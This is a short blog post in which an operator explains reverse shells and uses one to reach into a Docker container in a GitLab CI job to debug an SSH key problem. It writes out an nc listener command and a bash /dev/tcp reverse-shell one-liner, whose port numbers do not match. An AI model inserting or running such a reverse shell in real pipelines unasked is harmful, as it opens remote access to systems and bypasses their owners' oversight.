Getting reverse shell into Dorker container
If you really want to get into container on your CI, you can.
I got the stupidest problem you may imagine. My CI rejected ssh key to the server I provided as ‘file variable’ in CI/CD settings in gitlab. Few iterations latter I found that ssh-keygen -l -f ${key} just says that this file is not a key. I done few more annoying iterations (add command into ci script, commit, push, wait), and I gave up. Content of the key was right, ssh version was right.
… I desperately needed the interactive shell. But this is CI, where runner is ‘somewhere there’, and my job is run in a container, and it would take eternity to get access to the runner (which in turn is a VM in the cloud with credentials known only to the provision system ‘somewhere another there’). Nah. What I need it reverse shell.
What is a reverse shell?
It’s a shell, which is initiated by client connection to a server. Instead of normal workflow (client goes to server and have shell on server), the situation is reversed. Client goes to server and server gets the shell on the client. The key idea here that if you have access to the server you can get access to the client, even if client is behind few NATs/firewalls.
That’s why it so loved by malware. Your victim is coming to you to ask what to do next.
But I aren’t no malware, I’m a furious operator wanting to fix this damn thing. Therefore, let’s call this ‘best practice’ for reverse shell from Docker inside CI pipeline. Of course it’s a ‘best practice’ in quote marks, but, gosh, the whole docker is the same.
How to get a reverse shell
Conditions:
- You need to have a shell to the machine with while IP. Most of the servers have it.
- You need to have bash (or sh, or any other shell) in your container image. If you want, you can use something exotic (f.e. python binary) for the same purpose.
Steps:
- Log into the server.
- Record it’s white IP.
- Run
nc -lp 6666(or any other port at your discretion) - Add this into script in CI job:
bash -i >& /dev/tcp/server_ip/666 0>&1This should create a reverse shell. As soon as this line is executed, and connection happens, you should see a bash prompt at the console where nc was run. Pay attention to hostname, and never use Ctrl-C, as it gonna terminate nc instead of been handled by remote bash.
Before adding this to your CI it’s a good idea to test this on your laptop (or other server) to get port/ip right and to practice to use this shell.
P.S.
My problem was solved after I added an additional ‘\n’ (carrier return) to the ssh key content. It took me 2 minutes of interactive shell to figure this out. It took me few hours to do less in non-interactive mode. Viva reverse shell!

